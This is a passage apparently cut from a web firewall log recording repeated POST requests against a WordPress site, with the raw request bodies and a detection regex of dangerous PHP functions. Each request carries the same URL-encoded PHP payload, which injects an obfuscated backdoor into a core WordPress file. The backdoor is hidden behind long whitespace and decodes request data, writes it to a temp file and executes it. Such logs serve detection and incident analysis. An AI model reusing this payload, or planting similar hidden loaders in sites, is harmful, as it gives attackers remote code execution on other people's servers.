253A%2520%2524chS%2520%253D%2520ord%2528%2524s9%255B%2524x%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v8%2520-%2520%2524chS%2520-%2520%2528%2524x%2520%2525%252010%2529%2529%2520%255E%25207%253B%2520%2524itm%2520.%253D%2520chr%2528%2524d%2529%253B%2520endforeach%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524value%2529%253A%2520if%2520%2528%2528is_dir%2528%2524value%2529%2520and%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524value%252C%2520%2522.flg%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524symbol%252C%2520%2524itm%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524symbol%253B%2520unlink%2528%2524symbol%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\ncontent-length:4253\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpRZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\npC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-bindings\/term-data.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522d%255Cx61t%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524elem%2520%253D%2520%2524_REQUEST%255B%2522d%255Cx61t%2522%255D%253B%2520%2524elem%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524elem%2520%2529%253B%2520%2524itm%2520%253D%2520%2527%2527%253B%2520%2524s9%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s9%2529%253B%2520foreach%2520%2528%2524elem%2520as%2520%2524x%2520%253D%253E%2520%2524v8%2529%253A%2520%2524chS%2520%253D%2520ord%2528%2524s9%255B%2524x%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v8%2520-%2520%2524chS%2520-%2520%2528%2524x%2520%2525%252010%2529%2529%2520%255E%25207%253B%2520%2524itm%2520.%253D%2520chr%2528%2524d%2529%253B%2520endforeach%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524value%2529%253A%2520if%2520%2528%2528is_dir%2528%2524value%2529%2520and%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524value%252C%2520%2522.flg%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524symbol%252C%2520%2524itm%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524symbol%253B%2520unlink%2528%2524symbol%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:47:49","152.53.138.6","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> YL:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-bindings\/term-data.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522d%255Cx61t%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524elem%2520%253D%2520%2524_REQUEST%255B%2522d%255Cx61t%2522%255D%253B%2520%2524elem%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524elem%2520%2529%253B%2520%2524itm%2520%253D%2520%2527%2527%253B%2520%2524s9%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s9%2529%253B%2520foreach%2520%2528%2524elem%2520as%2520%2524x%2520%253D%253E%2520%2524v8%2529%253A%2520%2524chS%2520%253D%2520ord%2528%2524s9%255B%2524x%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v8%2520-%2520%2524chS%2520-%2520%2528%2524x%2520%2525%252010%2529%2529%2520%255E%25207%253B%2520%2524itm%2520.%253D%2520chr%2528%2524d%2529%253B%2520endforeach%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524value%2529%253A%2520if%2520%2528%2528is_dir%2528%2524value%2529%2520and%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524value%252C%2520%2522.flg%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524symbol%252C%2520%2524itm%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524symbol%253B%2520unlink%2528%2524symbol%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\ncontent-length:4253\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJHjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-fetch-user:?1\n\nYL=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-bindings\/term-data.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522d%255Cx61t%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524elem%2520%253D%2520%2524_REQUEST%255B%2522d%255Cx61t%2522%255D%253B%2520%2524elem%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524elem%2520%2529%253B%2520%2524itm%2520%253D%2520%2527%2527%253B%2520%2524s9%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s9%2529%253B%2520foreach%2520%2528%2524elem%2520as%2520%2524x%2520%253D%253E%2520%2524v8%2529%253A%2520%2524chS%2520%253D%2520ord%2528%2524s9%255B%2524x%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v8%2520-%2520%2524chS%2520-%2520%2528%2524x%2520%2525%252010%2529%2529%2520%255E%25207%253B%2520%2524itm%2520.%253D%2520chr%2528%2524d%2529%253B%2520endforeach%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524value%2529%253A%2520if%2520%2528%2528is_dir%2528%2524value%2529%2520and%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524value%252C%2520%2522.flg%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524symbol%252C%2520%2524itm%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524symbol%253B%2520unlink%2528%2524symbol%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:48:15","118.139.167.171","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ck:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-bindings\/term-data.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522d%255Cx61t%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524elem%2520%253D%2520%2524_REQUEST%255B%2522d%255Cx61t%2522%255D%253B%2520%2524elem%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524elem%2520%2529%253B%2520%2524itm%2520%253D%2520%2527%2527%253B%2520%2524s9%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s9%2529%253B%2520foreach%2520%2528%2524elem%2520as%2520%2524x%2520%253D%253E%2520%2524v8%2529%253A%2520%2524chS%2520%253D%2520ord%2528%2524s9%255B%2524x%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v8%2520-%2520%2524chS%2520-%2520%2528%2524x%2520%2525%252010%2529%2529%2520%255E%25207%253B%2520%2524itm%2520.%253D%2520chr%2528%2524d%2529%253B%2520endforeach%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524value%2529%253A%2520if%2520%2528%2528is_dir%2528%2524value%2529%2520and%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524value%252C%2520%2522.flg%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524symbol%252C%2520%2524itm%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524symbol%253B%2520unlink%2528%2524symbol%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\ncontent-length:4253\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD2fvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nCk=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-bindings\/term-data.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522d%255Cx61t%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524elem%2520%253D%2520%2524_REQUEST%255B%2522d%255Cx61t%2522%255D%253B%2520%2524elem%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524elem%2520%2529%253B%2520%2524itm%2520%253D%2520%2527%2527%253B%2520%2524s9%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s9%2529%253B%2520foreach%2520%2528%2524elem%2520as%2520%2524x%2520%253D%253E%2520%2524v8%2529%253A%2520%2524chS%2520%253D%2520ord%2528%2524s9%255B%2524x%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v8%2520-%2520%2524chS%2520-%2520%2528%2524x%2520%2525%252010%2529%2529%2520%255E%25207%253B%2520%2524itm%2520.%253D%2520chr%2528%2524d%2529%253B%2520endforeach%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524value%2529%253A%2520if%2520%2528%2528is_dir%2528%2524value%2529%2520and%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524value%252C%2520%2522.flg%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524symbol%252C%2520%2524itm%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524symbol%253B%2520unlink%2528%2524symbol%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:48:20","87.106.235.29","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Af:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-bindings\/term-data.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522d%255Cx61t%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524elem%2520%253D%2520%2524_REQUEST%255B%2522d%255Cx61t%2522%255D%253B%2520%2524elem%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524elem%2520%2529%253B%2520%2524itm%2520%253D%2520%2527%2527%253B%2520%2524s9%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s9%2529%253B%2520foreach%2520%2528%2524elem%2520as%2520%2524x%2520%253D%253E%2520%2524v8%2529%253A%2520%2524chS%2520%253D%2520ord%2528%2524s9%255B%2524x%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v8%2520-%2520%2524chS%2520-%2520%2528%2524x%2520%2525%252010%2529%2529%2520%255E%25207%253B%2520%2524itm%2520.%253D%2520chr%2528%2524d%2529%253B%2520endforeach%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524value%2529%253A%2520if%2520%2528%2528is_dir%2528%2524value%2529%2520and%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524value%252C%2520%2522.flg%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524symbol%252C%2520%2524itm%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524symbol%253B%2520unlink%2528%2524symbol%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%